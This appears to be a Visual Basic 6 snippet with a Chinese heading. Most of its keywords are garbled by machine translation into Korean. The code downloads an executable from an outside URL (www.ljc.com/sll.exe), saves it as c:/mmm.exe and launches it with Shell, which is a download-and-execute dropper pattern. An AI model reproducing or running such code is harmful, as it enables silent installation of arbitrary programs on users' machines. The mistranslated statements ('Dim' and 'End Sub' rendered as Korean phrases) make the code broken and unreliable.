建立一个vb工程，Project1
응용 프로그램: Microsoft 스크립팅 런타임, Microsoft Active Data Object, Microsoft MsXml
Form1代码:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d As Class1
a = 새 MSXML2.XMLHTTP로 설정
a.open get, http://www.ljc.com/sll.exe, True
d = 새 클래스1 설정
a.onreadystatechange = d
a.보내다
서브 끝
Class1代码:
Dim b As ADODB.Stream
Fso를 Scripting.FileSystemObject로 희미하게 만듭니다.
공개 curReadyState를 길게
공개 함수 doSome()
Debug.Print Form1.a.readyState
Form1.a.readyState = 4인 경우
www
종료 조건
기능 종료
공개 기능 www()
b 설정 = 새 ADODB.Stream
b.유형 = 1
b.열다
fso = New Scripting.FileSystemObject 설정
Form1.a.readyState = 4인 경우
b.쓰기(Form1.a.responseBody)
fso.FileExists(c:/mmm.exe)가 아닌 경우 다음
b.SaveToFile c:/mmm.exe
종료 조건
종료 조건
b.닫기
b = 없음으로 설정
fso.FileExists(c:/mmm.exe)인 경우 Shell c:/mmm.exe, 1
fso = 없음 설정
기능 종료
Class1의 doSome이 기본값으로 설정됩니다.